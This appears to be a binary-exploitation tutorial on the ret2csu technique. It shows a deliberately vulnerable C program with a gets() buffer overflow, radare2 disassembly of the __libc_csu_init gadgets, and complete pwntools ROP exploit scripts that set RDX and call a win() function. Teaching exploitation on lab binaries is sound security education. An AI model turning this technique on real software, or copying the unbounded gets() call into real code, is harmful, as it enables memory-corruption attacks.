#include <stdio.h>
int win(int x, int y, int z) {
if(z == 0xdeadbeefcafed00d) {
puts("Awesome work!");
}
}
int main() {
puts("Come on then, ret2csu me");
char input[30];
gets(input);
return 0;
}
Obviously, you can do a ret2plt followed by a ret2libc, but that's really not the point of this. Try calling win(), and to do that you have to populate the register rdx. Try what we've talked about, and then have a look at the answer if you get stuck.
Analysis
We can work out the addresses of the massive chains using r2, and chuck this all into pwntools.
[...]
0x00401208 4c89f2 mov rdx, r14
0x0040120b 4c89ee mov rsi, r13
0x0040120e 4489e7 mov edi, r12d
0x00401211 41ff14df call qword [r15 + rbx*8]
0x00401215 4883c301 add rbx, 1
0x00401219 4839dd cmp rbp, rbx
0x0040121c 75ea jne 0x401208
0x0040121e 4883c408 add rsp, 8
0x00401222 5b pop rbx
0x00401223 5d pop rbp
0x00401224 415c pop r12
0x00401226 415d pop r13
0x00401228 415e pop r14
0x0040122a 415f pop r15
0x0040122c c3 ret
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
REG_CALL = 0x00401208 # rdx, rsi, edi, call [r15 + rbx*8]
Note I'm not popping RBX, despite the call. This is because RBX ends up being 0 anyway, and you want to mess with the least number of registers you need to to ensure the best success.
Exploitation
Finding a win()
Now we need to find a memory location that has the address of win() written into it so that we can point r15 at it. I'm going to opt to call gets() again instead, and then input the address. The location we input to is a fixed location of our choice, which is reliable. Now we just need to find a location.
To do this, I'll run r2 on the binary then dcu main to contiune until main. Now let's check permissions:
[0x00401199]> dm
0x0000000000400000 - 0x0000000000401000 - usr 4K s r--
0x0000000000401000 - 0x0000000000402000 * usr 4K s r-x
0x0000000000402000 - 0x0000000000403000 - usr 4K s r--
0x0000000000403000 - 0x0000000000404000 - usr 4K s r--
0x0000000000404000 - 0x0000000000405000 - usr 4K s rw-
The address 0x404028 appears unused, so I'll write win() there.
RW_LOC = 0x00404028
Reading in win()
To do this, I'll just use the ROP class.
rop.raw('A' * 40)
rop.gets(RW_LOC)
Popping the registers
Now we have the address written there, let's just get the massive ropchain and plonk it all in
rop.raw(POP_CHAIN)
rop.raw(0) # r12
rop.raw(0) # r13
rop.raw(0xdeadbeefcafed00d) # r14 - popped into RDX!
rop.raw(RW_LOC) # r15 - holds location of called function!
rop.raw(REG_CALL) # all the movs, plus the call
Sending it off
Don't forget to pass a parameter to the gets():
p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
print(p.recvline()) # should receive "Awesome work!"
Final Exploit
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
POP_CHAIN = 0x00401224 # pop r12, r13, r14, r15, ret
REG_CALL = 0x00401208 # rdx, rsi, edi, call [r15 + rbx*8]
RW_LOC = 0x00404028
rop.raw('A' * 40)
rop.gets(RW_LOC)
rop.raw(POP_CHAIN)
rop.raw(0) # r12
rop.raw(0) # r13
rop.raw(0xdeadbeefcafed00d) # r14 - popped into RDX!
rop.raw(RW_LOC) # r15 - holds location of called function!
rop.raw(REG_CALL) # all the movs, plus the call
p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win'])) # send to gets() so it's written
print(p.recvline()) # should receive "Awesome work!"
And we have successfully controlled RDX - without any RDX gadgets!
Simplification
As you probably noticed, we don't need to pop off r12 or r13, so we can move POP_CHAIN a couple of intructions along:
from pwn import *
elf = context.binary = ELF('./vuln')
p = process()
rop = ROP(elf)
POP_CHAIN = 0x00401228 # pop r14, pop r15, ret
REG_CALL = 0x00401208 # rdx, rsi, edi, call [r15 + rbx*8]
RW_LOC = 0x00404028
rop.raw('A' * 40)
rop.gets(RW_LOC)
rop.raw(POP_CHAIN)
rop.raw(0xdeadbeefcafed00d) # r14 - popped into RDX!
rop.raw(RW_LOC) # r15 - holds location of called function!
rop.raw(REG_CALL) # all the movs, plus the call
p.sendlineafter('me\n', rop.chain())
p.sendline(p64(elf.sym['win']))
print(p.recvline())
